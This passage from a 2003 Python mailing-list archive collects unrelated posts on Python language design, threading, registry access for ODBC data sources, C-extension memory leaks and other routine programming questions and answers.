Terry writes -

>Why am I adamant? Because you are proposing to mount a legal attack on a
>developer for creating Free software. I can think of no more effective way
>to chill development than if such a precedent were somehow to succeed
>(fortunately, I feel confident that it would not).

I'm arguing that there is a colorable violation of the specific terms of a
license.  If, as a legel matter, I am wrong, I am wrong. That's a legal
question.

But isn't you statement so broad, Terry, that anyone undertaking an effort
to enforce the specific and clear terms of an open source license as to a
distributor of software that happens to be free, is committing "Perfect
Evil".

What if, instead of overwriting the index.html, this distribution overwrote
the core interpreter - without warning or notice.

No recourse?

Perhaps you are right, there is none.

But a Loophole shouldn't be given Nobel Status, IMO

Art









From mis6 at pitt.edu  Wed Jan  1 10:05:29 2003
From: mis6 at pitt.edu (Michele Simionato)
Date: 1 Jan 2003 07:05:29 -0800
Subject: Explicit Frustration of the Self
References: <mailman.1041369856.4081.python-list@python.org> <autar0$91b$0@216.39.172.122>
Message-ID: <2259b0e2.0301010705.f47454f@posting.google.com>

bokr at oz.net (Bengt Richter) wrote in message news:<autar0$91b$0 at 216.39.172.122>...
> On Tue, 31 Dec 2002 14:21:02 -0700, "Bjorn Pettersen" <BPettersen at NAREX.com> wrote:
> >> Someone proposed just a bare leading dot or invisible self name.
> >>=20
> >>   class Foo:
> >>       bar =3D 123=20
> >>       def baz(,arg):
> >>           .arg =3D arg
> >>           return .bar+arg
> >>=20
> >> It's less typing anyway. That's a plus for me.
> >
> >class Foo:
> >    bar =3D 123
> >    def baz(,arg):
> >        class inner:
> >            def baz(,arg):
> >                .arg =3D arg   # <- Foo's arg or inner's arg?
> >        return inner()
> >
The self debate is an old one, but always recurring. One of the first
Python programs I wrote was a preprocessor to implement the "dot
suggestion" (which I saw in the c.l.py thread "A better self") and
which I like very much since it is very readable IMHO. An early
version of my preprocessor is posted in that thread, IIRC. The idea
was to maintain the traditional notation with an explicit self (which
is precious to solve the nested class ambiguity) but to allow a
notational shortcut with an invisible self when there is not risk of
ambiguity, i.e. in 95% of cases.
To type self explicitly when there is no possibility of confusion
bothers me, not only because I have to type unnecessary characters,
but particularly because I am forced to use long identifiers and
therefore long lines of code (I HATE long lines).
Moreover, I think lots of self make code less readable.
I am strongly against the idea of making self a reserved word. The
reasons are two:
i) in nested classes it is convenient to have different selfs, for
instance
"selfbase" and "selfnested";
ii) in metaclass programming and in the case of class methods it is
very convenient to call self "cls".
The possibility of giving a name to self is invaluable in many
specialized
situations; still in most situations self could as well be made
invisible.

There are various disadvantages with the preprocessor idea. A better
solution
is to make use of metaclasses. For instance, one could implement a
name mangling
and add the "self" prefix to all variables starting with "_" (yes, I
know
"_" is reserved for internal variables; you can use another character
if
you wish; unfortunately the dot cannot be used without changing the
Python
grammar).

Here is a simple (but not very much tested) implementation:

--begin selfexpand.py

def selfexpand(cls):
    """Given a class, looks in its methods and expand identifiers
starting
    with _ to self. For instance, _x --> self.x"""
    from re import sub
    from inspect import getsource,isroutine

    def kill_initial_spaces(text):
        lines=text.splitlines(); firstline=lines[0]
        spaces=len(firstline)-len(firstline.lstrip())
        if not spaces: return text
        else: return '\n'.join([line[spaces:] for line in lines])

    def modify(method):
        source=kill_initial_spaces(getsource(method))
        code=sub(r'(?<![\.\w_])_([a-zA-Z_]+)',r'self.\1',source)
        d={}; exec code+'\n' in d
        setattr(cls,method.__name__,d[method.__name__])
 
    for key,val in cls.__dict__.items():
        if not key.startswith('_') and isroutine(val):
            modify(val)

class SelfExpand(object):
    "Classes that inherit from SelfExpand automagically call
selfexpand"
    class __metaclass__(type):
        def __init__(cls,name,bases,dic): selfexpand(cls)
                
class C(SelfExpand):
    x='x'
    y='y'
    def add(self):
        return _x+_y
       

c=C()

print c.add()



From kricxjo.neniuspamajxo at yahoo.com  Sat Jan 25 09:53:07 2003
From: kricxjo.neniuspamajxo at yahoo.com (Christopher Culver)
Date: Sat, 25 Jan 2003 15:53:07 +0100
Subject: IDLE Python GUI
References: <3e32a1a6_4@corp.newsgroups.com>
Message-ID: <pan.2003.01.25.14.53.07.162637@yahoo.com>

On Sat, 25 Jan 2003 09:18:56 -0500, Norm wrote:
> I'm really just getting started in Python with the goal of improving my
> Linux networking administration.
> 
> I'm learning / practicing with IDLE Python GUI.
> 
> Q.  What does the real Python community use for creating Python programs?

Emacs. I imagine most people here would say the same.

Christopher Culver



From peter at engcorp.com  Sun Jan 26 11:28:06 2003
From: peter at engcorp.com (Peter Hansen)
Date: Sun, 26 Jan 2003 11:28:06 -0500
Subject: Getting SuperUser Authority From Within Running Python Program
References: <mq7v0b.6g8.ln@boundary.tundraware.com> <mailman.1043541527.18943.python-list@python.org> <2ot01b.atg.ln@boundary.tundraware.com>
Message-ID: <3E340C96.CD2B4E1B@engcorp.com>

Tim Daneliuk wrote:
> 
> I am working on the next release of 'twander' - a user-programmable
> file manager/browser (http://www.tundrware.com/Software/twander).
> I want to be able to temporarily go to super-user status so the
> program can act upon/manage/manipulate root-owned files.

Umm, that's not really want you want to do.  You think you
want to do it, but you really don't.

What you want to do, is require that anyone who wants to manipulate
root-owner files, should be logged in as root already when they
run the program.  *That's* what you really wanted to do, but didn't
realize you wanted to do.  ;-)

-Peter



From lac at strakt.com  Sun Jan  5 10:42:46 2003
From: lac at strakt.com (Laura Creighton)
Date: Sun, 05 Jan 2003 16:42:46 +0100
Subject: Python vs .Net 
In-Reply-To: Message from Peter Hansen <peter@engcorp.com> 
   of "Sun, 05 Jan 2003 10:01:46 EST." <3E1848DA.DE85B247@engcorp.com> 
References: <PxQR9.45$uS3.4626462@mantis.golden.net> <slrnb1g1qr.sgg.karsten@datasink.webmonster.de> <3E1848DA.DE85B247@engcorp.com> 
Message-ID: <200301051542.h05FgkjL025143@ratthing-b246.strakt.com>

> "Karsten W. Rohrbach" wrote:
> > 
> > Python is an interpreted, object-oriented, weak-typed, [...] programming
> 
> As Paul said, you misspelled "strong", but also forgot "and dynamically typed
> ".
> 
> (See frequent and by now almost tedious past discussions in this group
> as to why Python is most definitely not a "weakly typed" language.)
> 
> -Peter
> -- 
> http://mail.python.org/mailman/listinfo/python-list

If people around here would remember that the reason we have such
discussions all too often is not that some people are _wrong_,
and believe that Python is what you call a _weakly typed language_,
but rather in their linguistic community 'strongly typed' ==
'statically typed' and 'weakly typed' == 'dynamically typed' things
would be a lot more pleasant.  The confusion is inevitable, because
there are one heck of a lot of computer science text books out there
which teach precisely this.  And, no, it doesn't mean that people
like Karsten W. Rohrbach don't understand the difference between
what Python does, and what Perl does -- but when they want to
discuss this difference, they speak of whether the language does
or does not support 'automatic promotion of types' -- which is
completely independent of whether you have to declare them or not,
and whether you can rebind them on the fly.

Laura Creighton




From aonaran at yahoo.com  Tue Jan  7 15:57:21 2003
From: aonaran at yahoo.com (aonaran at yahoo.com)
Date: 7 Jan 2003 20:57:21 GMT
Subject: php vs python
References: <mailman.1041625688.13638.python-list@python.org> <3e16006e$0$230$edfadb0f@dread12.news.tele.dk> <3e160151$0$49101$e4fe514c@news.xs4all.nl> <3E1621F2.C9FA1D6F@engcorp.com> <ba0f1v0hrn572t8tnntkrcfju4e6fkcgob@4ax.com> <av82af$6eu$1@knot.queensu.ca> <3E17C6DE.F2BD98E4@alcyone.com>
Message-ID: <avfevh$kaj$1@knot.queensu.ca>

Erik Max Francis <max at alcyone.com> wrote:
> aonaran at yahoo.com wrote:

>> With the introduction of iterators in python 2.2 (IIRC) it's even
>> simpler:
>> 
>>         for key, val in d.items():
>>             print key,'=',val

> This actually doesn't have anything to do with iterators, this has been
> good Python since 1.5.2 at least.  In 2.x, the dictionary itself is an
> iterable object and iterating over it is equivalent to iterating over
> its keys.

That's right, which is why "for key in d" works.

(looks at code in the message again, which doesn't do that at all, but 
uses the .items method to generate a list)

Er.  There were originally three examples there, of increasing simplicity,
until "for key in d"..


Doug "now-with-more-errors!-ly yours"



From shagshag13 at yahoo.fr  Thu Jan 16 07:19:02 2003
From: shagshag13 at yahoo.fr (shagshag13)
Date: Thu, 16 Jan 2003 13:19:02 +0100
Subject: matching and extracting...
References: <409a56e2.0301141324.6625547d@posting.google.com> <1042589408.27815.5.camel@software1.logiplex.internal> <1042589661.27820.8.camel@software1.logiplex.internal> <mailman.1042590627.3480.python-list@python.org> <b03b3a$3ce$1@slb0.atl.mindspring.net> <mailman.1042647527.17296.python-list@python.org>
Message-ID: <b067ri$luv76$1@ID-146704.news.dfncis.de>

thanks to all !

that was the stuff that i needed !

("i8" must not be matched to "a8" and yes "i2 is a3" should have been "i2 is
a2")

> There are a couple of other potential shortcomings as well, but I
> decided that this satisfied the OP's exact request.  Handling things
> outside of that is Left As An Exercise(tm).

what kind of thing are you thinking about ?
(But Don't Give Correction(tm) just some guidelines)

s13.





From spam at magnetic-ink.dk  Tue Jan 28 14:08:40 2003
From: spam at magnetic-ink.dk (Klaus Alexander Seistrup)
Date: Tue, 28 Jan 2003 19:08:40 +0000 (UTC)
Subject: python weblog apps?
References: <mailman.1043716191.28394.python-list@python.org>
Message-ID: <16639e88-1256-4856-b604-95bd59d2d770@news.szn.dk>

David LeBlanc wrote:

> Bzero
> http://www.myelin.co.nz/bzero/

The darned thing about Bzero is that it is distributed as a bunch
of compiled python script (.pyc) -- no source is available. :(


  // Klaus

-- 
 ><> 	vandag, m?re, altyd saam



From tjreedy at udel.edu  Sat Jan  4 13:53:37 2003
From: tjreedy at udel.edu (Terry Reedy)
Date: Sat, 4 Jan 2003 13:53:37 -0500
Subject: Calling a python program within a python program
References: <mailman.1041689649.9078.python-list@python.org> <pan.2003.01.04.17.09.05.932539@sdf-eu.org>
Message-ID: <912dnczr_ON2sIqjXTWcqw@comcast.com>

"Rune Nesheim" <runen at sdf-eu.org> wrote in message
news:pan.2003.01.04.17.09.05.932539 at sdf-eu.org...
> > Is there any function from which I can call the another program.
(The program
> > is Python script only).
>
> You can simply import it into your python program.

or use execfile or os.system

tjr





From mystery at golden.net  Sun Jan  5 11:20:47 2003
From: mystery at golden.net (Etienne Charland)
Date: Sun, 5 Jan 2003 11:20:47 -0500
Subject: Python vs .Net
References: <mailman.1041757635.32193.python-list@python.org>
Message-ID: <32ZR9.60$Xy5.5595271@mantis.golden.net>

Do you have an idea of when MONO will be ready? And when there will be a
good code editor with it?

"Serdar Kilic" <moz at skilic.com> wrote in message
news:mailman.1041757635.32193.python-list at python.org...
> .net is a framework. There are languages that target this framework
> (e.g. C#, VB.NET, Python.NET). It is also not solely for MS Windows; see
> www.go-mono.org
>
> --
> Kind Regards,
>  Serdar K. | http://www.kilic.net/
>
> >-----Original Message-----
> >From: python-list-admin at python.org
> >[mailto:python-list-admin at python.org] On Behalf Of Jive Dadson
> >Sent: Sunday, 5 January 2003 7:47 PM
> >To: python-list at python.org
> >Subject: Re: Python vs .Net
> >
> >
> >.Net is Visual Basic, right:?  It only runs on MS Windows
> >machines, right? There's a difference.
> >
> >
> >
> >
> >
> >--
> >http://mail.python.org/mailman/listinfo/python-list
> >
>
>





From Mongryong at sympatico.ca  Fri Jan 31 16:46:07 2003
From: Mongryong at sympatico.ca (Mongryong)
Date: 31 Jan 2003 16:46:07 -0500
Subject: Python vs. C++ Builder - speed of development
In-Reply-To: <yyy8yx1kpny.fsf@adams.patriot.net>
References: <3e36d04e_2@news.vo.lu>
	<mailman.1043793662.28129.python-list@python.org>
	<CpFZ9.1212$wd2.100989@newsread2.prod.itd.earthlink.net>
	<gWOZ9.134330$AA2.5582397@news2.tin.it>
	<Y%1_9.3865$wd2.302595@newsread2.prod.itd.earthlink.net>
	<bK6_9.140709$AA2.5799087@news2.tin.it>
	<a2h_9.5383$Wu1.411649@newsread1.prod.itd.earthlink.net>
	<8bbd9ac3.0301302140.6938685c@posting.google.com>
	<oPr_9.108013$0v.3123750@news1.tin.it>
	<mailman.1044029142.17081.python-list@python.org>
	<yyyhebpkyjd.fsf@adams.patriot.net>
	<mailman.1044036665.13238.python-list@python.org> 
	<yyy8yx1kpny.fsf@adams.patriot.net>
Message-ID: <1044049568.1599.38.camel@refugeeMedia>

On Fri, 2003-01-31 at 15:52, Nick Vargish wrote:
> I didn't take any formal programming courses after High School, 
Imagine what the world would be like had Bill Gates actually graduated
with a Computer Science degree....ah, everybody would have a true
Unix-like machine with Python already installed on it...

Have respect for the research work (theories) of others who have helped
computing get to where it is today.





From Mongryong at sympatico.ca  Sat Jan 25 11:23:02 2003
From: Mongryong at sympatico.ca (Mongryong)
Date: 25 Jan 2003 11:23:02 -0500
Subject: Generating Unique Keys
Message-ID: <1043511783.4939.1.camel@refugeeMedia>

Is there python library for generating unique keys on Linux?  Something
sort of like Window's HKEY generator.  Thanks.







From BPettersen at NAREX.com  Mon Jan  6 12:44:42 2003
From: BPettersen at NAREX.com (Bjorn Pettersen)
Date: Mon, 6 Jan 2003 10:44:42 -0700
Subject: running external application or DTS
Message-ID: <60FB8BB7F0EFC7409B75EEEC13E2019201BFDE94@admin56.narex.com>

> From: Yar3k [mailto:programisci_listy at muratorDOTcom.pl] 
> 
> I need to run DTS command on NT Server using Python scripts. 
> I am afraid there is no dedicated library for such task, so I 
> have to run external application dtsrun.exe. The problem is, 
> I have no idea how to execute it and pass all parameters. I 
> would like to catch exit code as well. 
> I need any working example...

Check section 6.1.5 of the library reference. You're most likely going
to need os.system() or one of the os.popen?() functions. Let us know if
you can't figure it out from there.

-- bjorn




From maxm at mxm.dk  Wed Jan 29 08:45:23 2003
From: maxm at mxm.dk (Max M)
Date: Wed, 29 Jan 2003 14:45:23 +0100
Subject: URLLIB2 
In-Reply-To: <yiOZ9.59194$ZE.1647153@twister2.libero.it>
References: <yiOZ9.59194$ZE.1647153@twister2.libero.it>
Message-ID: <aUQZ9.47296$Hl6.6059165@news010.worldonline.dk>

Pigio? wrote:
> Urllib2 and urllib don't work correctly if I want connect to
> 'http://cie.motor.ru/CIE/index.htm'. The functions block on connect. I don't
> know the problem but I suppose that it could be cause from httplib; urrlib2
> and urllib share httplib.
> 
> I HOPE THAT SOMEBODY KNOW THE SOLUTION!!!


I HAVE USED THEM FREQUENTLY WITHOUT PROBLEMS!!!

So perhaps the problem is on your side?

Ie. I could not load the above mentioned url in an ordinary browser!


-- 

hilsen/regards Max M Rasmussen, Denmark

http://www.futureport.dk/
Fremtiden, videnskab, skeptiscisme og transhumanisme




From gerhard.haering at opus-gmbh.net  Tue Jan 14 11:16:49 2003
From: gerhard.haering at opus-gmbh.net (Gerhard =?iso-8859-1?Q?H=E4ring?=)
Date: 14 Jan 2003 16:16:49 GMT
Subject: Baliser un texte en Python
References: <18f9f477.0301140735.304887da@posting.google.com>
Message-ID: <slrnb28dnp.1ek.gerhard.haering@haering.opus-gmbh.net>

[Cross-posting to fr.comp.lang.python, the french Python newsgroup]

Natacha <nbodineau at club-internet.fr> wrote:
> bonjour,
> 
> nous aimerions savoir si Python peut baliser un texte(format .txt) en
> format XML ou HTML.
> Quelles sont les fonctions ? utiliser.
> Merci de nous donner un exemple ou des liens de sites internet qui
> peuvent nous aider.

Si je te comprends bien, tu veut cr?er un document en XML (ou HTML) d'un
document en text plain?

La possibilit? la plus simple est d'employer "print", tout simplement. On
peut aussi employer l'API DOM pour cr?er XML ou XHTML ou le module HTMLGen
pour cr?er HTML 3.2.

Mais sans savoir en quel format sont vous documents .txt c'est difficile de
r?pondre ;-)

Est-ce que tu peut d?crire en peut plus en d?tail de quoi il s'agit?

Gerhard
-- 
Gerhard H?ring
OPUS GmbH M?nchen
Tel.: +49 89 - 889 49 7 - 32
http://www.opus-gmbh.net/



From martin at v.loewis.de  Fri Jan 24 21:20:02 2003
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Sat, 25 Jan 2003 03:20:02 +0100
Subject: killing thread ?
In-Reply-To: <b0rukc$ukidj$1@hades.rz.uni-sb.de>
References: <b0r1ds$10s0fi$1@hades.rz.uni-sb.de> <mailman.1043410542.25830.python-list@python.org> <b0rhl7$112v7d$2@hades.rz.uni-sb.de> <b0rukc$ukidj$1@hades.rz.uni-sb.de>
Message-ID: <b0ss8g$20c$05$2@news.t-online.com>

Uwe Schmitt wrote:
> so, what about a new PEP : extend the exec method by limiting
> the execution time and memory usage ... 

That PEP would have to come with a suggested implementation strategy.

Regards,
Martin





From geoff at gerrietts.net  Thu Jan 30 18:51:36 2003
From: geoff at gerrietts.net (Geoff Gerrietts)
Date: Thu, 30 Jan 2003 15:51:36 -0800
Subject: Python Success Stories or Nightmares
In-Reply-To: <20030130234206.GA4982@pedos.es>
References: <1043966994.2227.113.camel@refugeeMedia> <20030130234206.GA4982@pedos.es>
Message-ID: <20030130235136.GB18449@isis.gerrietts.net>

Quoting Grzegorz Adam Hankiewicz (gradha at terra.es):
> > What works and doesn't work in Python.
> 
>   while (line = file.readline()):
> 
> I still miss that one-liner.

How about a pythonic substitute?

  for line in file.readlines():

Or, if you're not trapped on 1.5.2 like me:

  for line in file.xreadlines():

-- 
Geoff Gerrietts             "A little sincerity is a dangerous thing, 
geoff @ gerrietts.net        and a great deal of it is absolutely fatal." 
http://www.gerrietts.net/                           --Oscar Wilde




From mruiz at safa.es  Thu Jan 16 10:46:45 2003
From: mruiz at safa.es (Manuel Ruiz)
Date: Thu, 16 Jan 2003 15:46:45 GMT
Subject: odbc dsn
References: <3e26cd2d.96254446@news.mad.ttd.net>
Message-ID: <3e26d393.97892622@news.mad.ttd.net>

On Thu, 16 Jan 2003 15:18:48 GMT, mruiz at safa.es (Manuel Ruiz) wrote:

I hope this will be useful to someone !!

import _winreg

def getOdbcDsnList():

	try:
		reg = _winreg.ConnectRegistry( None,
_winreg.HKEY_LOCAL_MACHINE )
		subkey = _winreg.OpenKey( reg,
r'SOFTWARE\ODBC\ODBC.INI\ODBC DATA SOURCES' )

		dsn = []
		kinfo = _winreg.QueryInfoKey(subkey)

		for i in range(0, kinfo[1]):
			dsn.append( _winreg.EnumValue(subkey,i)[0] )

		_winreg.CloseKey(subkey)
		_winreg.CloseKey( reg )
	except Exception, e:
		lista = []

	return dsn

>
>Anyone could tell me how I could get a list of odbc dsn.
>
>Thanks in advance
>Manuel Ruiz
>




From sjmachin at lexicon.net  Tue Jan 14 17:13:03 2003
From: sjmachin at lexicon.net (John Machin)
Date: 14 Jan 2003 14:13:03 -0800
Subject: Memory leak in TableIO?
References: <yj1hecb53d1.fsf@corvus.phys.uvic.ca>
Message-ID: <c76ff6fc.0301141413.f0a1512@posting.google.com>

Mark Fardal <fardal at corvus.phys.uvic.ca> wrote in message news:<yj1hecb53d1.fsf at corvus.phys.uvic.ca>...
> Hi,
> 
> I use Mike Miller's TableIO to read ascii tables, since it's very
> fast.  However, I have noticed that when I use it repeatedly to read
> large data files, it soaks up more and more memory (as shown with top)
> and eventually crashes.  This is using TableIO v 1.7, Python 2.2 on
> Red Hat linux.  Has anyone else had this problem or know of a solution?  
> I glanced over the code in _tableio.c and didn't see anything
> obviously wrong, but C extensions are probably beyond my competence.
> 
> thanks,
> Mark Fardal

At first glance, there are several instances of

status = PyList_Append( myList, PyFloat_FromDouble(atof(string)) );

This needs to be changed to

tmp_obj = PyFloat_FromDouble(atof(string)) );
status = PyList_Append( myList, tmp_obj );
Py_DECREF(tmp_obj);

There may well be other leaks, there may well be other problems, but
plugging the above leak of one Python float object per table element
should get you a lot further ...

You will notice that there is no error checking on the result of the
PyFloat_FromDouble() call, presumably because atof() is expected to
return a legal double even if the input string is not a valid
representation of a floating-point number [see example below], and so
the presumption is that PyFloat_FromDouble() cannot fail. However
given your opening remark that you use this module "since it's very
fast", this may not be a concern to you :-)

..>cat junk.txt
123 xyz 789

..>python
>>> import _tableio
>>> _tableio.readTable("junk.txt","#")
{'rows': 1, 'data': [123.0, 0.0, 789.0], 'columns': 3, 'filename':
'junk.txt'}



From jack at performancedrivers.com  Fri Jan 31 02:09:13 2003
From: jack at performancedrivers.com (Jack Diederich)
Date: Fri, 31 Jan 2003 02:09:13 -0500
Subject: In continuing of my question...
In-Reply-To: <b1d6cq$175p$1@bull.east.ru>; from N.Vasiliev@apatit.com on Fri, Jan 31, 2003 at 09:51:06AM +0300
References: <f918ac11.0301300759.4ac814bc@posting.google.com> <3a2j3vk8qgtqrm0mfrlvahfcl0pso5cf6r@4ax.com> <b1d6cq$175p$1@bull.east.ru>
Message-ID: <20030131020913.J18606@localhost.localdomain>

On Fri, Jan 31, 2003 at 09:51:06AM +0300, Nicolay Vasiliev wrote:
> Does Python have any reporting system (maybe as third party tool)? And could
> I export data to MS applications (ie, MS Excel)?
> 

I'll be kinder than I could be,

Please ask a full question,
  what do you need reporting about?
    - application usage? (how is this python application being used?)
    - hardware resources? (how many CPU cycles does the python program use?)
    - esoterica? (how much sales did this department's usage of a python program generate?)
    - other? (is there a ptyhon program that reports on now for something completely different?)

People are happy to help but you have to give them enough information
to answer the question.

-jackdied




From max at alcyone.com  Wed Jan 29 04:02:40 2003
From: max at alcyone.com (Erik Max Francis)
Date: Wed, 29 Jan 2003 01:02:40 -0800
Subject: Python vs. C++ Builder - speed of development
References: <3e36d04e_2@news.vo.lu> <T6DZ9.171$tf2.115@news-binary.blueyonder.co.uk> <YkFZ9.1199$wd2.103797@newsread2.prod.itd.earthlink.net> <3E3724FF.8358506E@engcorp.com> <u2MZ9.2132$wd2.169355@newsread2.prod.itd.earthlink.net>
Message-ID: <3E3798B0.B97E31FF@alcyone.com>

Brandon Van Every wrote:

> I see no primary purpose for Python's existence other than as a glue
> language.

It should be fairly obvious at this point that this guy is trolling. 
Move on, nothing to see here.

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ Oh, what lies there are in kisses.
\__/ Heinrich Heine
    Maths reference / http://www.alcyone.com/max/reference/maths/
 A mathematics reference.



From gerrit at nl.linux.org  Sun Jan  5 04:03:38 2003
From: gerrit at nl.linux.org (Gerrit Holl)
Date: Sun, 5 Jan 2003 10:03:38 +0100
Subject: Python threading tutorial?
In-Reply-To: <1rm7va.i44.ln@beastie.ix.netcom.com>
References: <mailman.1041679867.22000.python-list@python.org> <1rm7va.i44.ln@beastie.ix.netcom.com>
Message-ID: <20030105090338.GA2356@nl.linux.org>

Dennis Lee Bieber schreef op zondag  5 januari om 01:30:38 +0000:
> > My case is an exercise application in which multiple object are
> > randomly wandering through a field, but when they meet they interact
> > and go in opposite directions. All those objects will be class
> > instances and need to "live" seperately, only interacting when they
> > meet. Can threads help me in this particular problem, or do threads
> > have (very) different uses?
> >
>         While you could make each such object a separate thread, each such 
> object would then have to broadcast its location to all other threads 
> so they, in turn, can determine if their next move puts them into 
> collision.

I have currently implemented it like this: each object is a instance of
the class Person, and has a location in the Matrix instance mx; they are
all in the _same_ instance, so when an object tries to 'go north', it can
check whether there already is a Person instance there or not, so...

> On collision, that thread would have to message the other 
> thread to do the interaction. Sounds like an awful lot of message 
> Queues (see Queue.Queue) and maybe synchronization primitives (see 
> threading.Semaphore, threading.Event, threading.Condition).

...so I am currently not using the queues. Does that mean my application
is not reliable, or is this a reliable solution? It seems to run ok...

My source code:
#!/usr/bin/python

import random
import threading
import time

class Collision(Exception): pass

class Matrix(list):
	"""Two-dimensional Matrix"""
	def __init__(self, x, y, bg=''):
		"""Matrix(x, y, bg='')
			2-dimensional matrix of x * y filled with bg
		"""
		self.x = x
		self.y = y
		self.bg = bg
		L=[]
		[self.append([bg]*x) for i in xrange(y)]

class Person(threading.Thread):

	def __init__(self, mx, name):
		"""Person(mx, name):
			mx:	2-dimensional matrix
			name: persons name
		"""
		threading.Thread.__init__(self)
		self.mx = mx
		self.name = name
		self.x = random.randint(0, mx.x-1)
		self.y = random.randint(0, mx.y-1)
		if not isinstance(self.mx[self.x][self.y], self.__class__):
			self.mx[self.x][self.y] = self
		else:
			self.__init__(mx, self.name)

	def __repr__(self):
		return self.name

	def move(self, dir):
		newx = self.x
		newy = self.y
		for d in dir:
			if d == 'n':
				newy += 1
			elif d == 's':
				newy -= 1
			elif d == 'e':
				newx -= 1
			elif d == 'w':
				newx += 1
			else:
				raise TypeError, "argument must be sequence of n, s, e, w"

		if not 0 <= newx < self.mx.x:
			raise IndexError
		if not 0 <= newy < self.mx.y:
			raise IndexError

		if isinstance(self.mx[newx][newy], self.__class__):
			raise Collision

		self.mx[self.x][self.y] = self.mx.bg
		self.mx[newx][newy] = self
		self.x = newx
		self.y = newy


	def run(self):
		while 1:
			time.sleep(random.random() * 2)
			try:
				self.move(random.choice('nsew') + random.choice('nsew'))
			except (Collision, IndexError):
				pass

def test():
	from time import sleep
	from pprint import PrettyPrinter
	p = PrettyPrinter(width=200)
	mx = Matrix(20, 20)
	mensen = []
	namen = ["Brian", "Reg", "Jailer", "Geoffrey", "Stan", "Warris",
		"Mandy", "Colin", "Francis", "Ben", "Eddie"]
	for naam in namen:
		mensen.append(Person(mx, naam))
		mensen[-1].start()
	while 1:
		time.sleep(.5)
		print "\x1b[H\x1b[2J"
		p.pprint(list(mx))
		

if __name__ == '__main__':
	test()


yours,
Gerrit.

-- 
Asperger Syndroom - een persoonlijke benadering:
	http://people.nl.linux.org/~gerrit/
Het zijn tijden om je zelf met politiek te bemoeien:
	http://www.sp.nl/




From adalke at mindspring.com  Wed Jan 15 18:12:16 2003
From: adalke at mindspring.com (Andrew Dalke)
Date: Wed, 15 Jan 2003 16:12:16 -0700
Subject: Switch statements again
In-Reply-To: <mailman.1042670848.7866.python-list@python.org>
References: <mailman.1042670848.7866.python-list@python.org>
Message-ID: <b04pst$clh$1@slb6.atl.mindspring.net>

Steven Scott wrote:
 >  my question is simply "what's the best way to do this in python?"

day_offsets = {
   MASK_SUNDAY: 6,
   MASK_MONDAY: 5,
   MASK_TUESDAY: 4,
   ...
   MASK_SATURDAY: 0,
}

  ...

try:
   dayOfWeek -= day_offsets[calDayOfWeekMask]
except KeyError:
   return FAIL

if calWeekNumber == LAST:
   day = occurence.getDaysInMonth()
   add_days = -((7 - dayOfWeek +
                 occurence.getDayOfWeek()) % 7)
else:
   day = 1 + ((calWeekNumber - 1) *7
   add_days = dayOfWeek + 7 - occurrence.getDayOfWeek()) % 7

occurence.setDay(day)
occurence.addDays(add_days)


I prefer to move the "setDay" and "addDays" method calls to
the end because it's easier to see that both routes end
up changing the occurence the same way.  YMMV.

					Andrew
					dalke at dalkescientific.com




From aleax at aleax.it  Wed Jan 29 05:29:11 2003
From: aleax at aleax.it (Alex Martelli)
Date: Wed, 29 Jan 2003 10:29:11 GMT
Subject: else in list comp
References: <mailman.1043813212.6357.python-list@python.org> <eppstein-1A10DE.21363228012003@news.service.uci.edu> <mailman.1043821133.2501.python-list@python.org>
Message-ID: <X1OZ9.133852$AA2.5571766@news2.tin.it>

Cliff Wells wrote:
   ...
> myList = [0, None, '1', None, 2, None, '3']
> 
> My real interest was in a possible "else" clause (as per the subject
> line) in a list comp.
> 
> ['' for i in myList if i is None else i]
> 
> It seems a good idea to me, but then, I'm somewhat biased toward my own
> ideas.

Seems too specialized to me.  I'm strongly biased against adding
stuff to Python.  I might solve this specific problem as follows:

[ [i, ''][i is None] for i in myList ]

IF (a BIG if) this is such a problem that it's worth adding stuff
to Python, then clearly the added stuff must be general -- namely,
a ternary (if not an even wider one-of-N) short-circuiting operator.

See the Python Cookbook for a LOT of discussion of ternary ops
(how to synthesize them in Python, and why no way is 100% OK yet,
although by one idiom or another one gets by without too many
problems about 99.44% of the time).

But limiting the application of such an addition to ONE specific
case, list comprehensions, would be horrible design IMHO.


Alex




From andy at eastonwest.co.uk  Fri Jan 10 17:59:19 2003
From: andy at eastonwest.co.uk (andy)
Date: Fri, 10 Jan 2003 22:59:19 +0000
Subject: moving items in a list
In-Reply-To: <F7DB8D13DB61D511B6FF00B0D0F06233035F73AA@mail.hebmex.com>
References: <F7DB8D13DB61D511B6FF00B0D0F06233035F73AA@mail.hebmex.com>
Message-ID: <200301102259.19999.andy@eastonwest.co.uk>

Ok, ok.

Yes, of course I could time it, but that wouldn't tell me *why* it's x amount 
slower, which is what I'm driving at!

It's also very subjective:  Depends on cpu, memory bandwidth etc. etc.  Just 
because *my* pc says it's about 4% slower, yours might not.  BTW, a q'n'd 
test did say 4%.

I would assume that
a,b,c,d,e,f,g,h,i,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z=z,y,x,w,v,u,t,s,r,q,p,o,n,m,l,k,i,h,g,f,e,d,c,b,a
takes a lot longer...  but then, you'd simply have a lot more LOAD_FASTs, and 
accompanying STORE_FASTs sanwiching the CREATE_TUPLE, UNPACK_SEQUENCE pair.

You knew I meant in terms of efficiency :-p, didn't you!

regards,
-andyj





From pjmacz at slcj.uw.edu.pl  Thu Jan  2 09:43:25 2003
From: pjmacz at slcj.uw.edu.pl (Pawel J. Maczewski)
Date: Thu, 2 Jan 2003 15:43:25 +0100
Subject: Printing
In-Reply-To: <av1dcn$v3fk5$2@hades.rz.uni-sb.de>
References: <Pine.LNX.4.33L2.0301021351090.3730-100000@cyryl.slcj.uw.edu.pl> <av1dcn$v3fk5$2@hades.rz.uni-sb.de>
Message-ID: <Pine.OSF.4.21.0301021542010.25296-100000@jasio.slcj.uw.edu.pl>

On 2 Jan 2003, Uwe Schmitt wrote:

> Pawel J. Maczewski <pjmacz at slcj.uw.edu.pl> wrote:
> > Hi,
> >   I have a question: how to print (sic!) in python (I use wxPy). The point
> > is, that is should be os-independent :) I can generate the data to print
> > in XML, HTML, PS... how to print it under windows? ;)
> 
> And I forgot another method: make a copy of a file, e.g. a ps-file,
> to the file "prn:". This will work if your printer is connected
> to your computer immediatly.

But, it works only with Windows, AFAIR... Aren't there any os-independent
solution? 

regards, 

   Pawel J. Maczewski @ HIL
    reg.linux user #281878




From Mongryong at sympatico.ca  Tue Jan 21 22:03:46 2003
From: Mongryong at sympatico.ca (Mongryong)
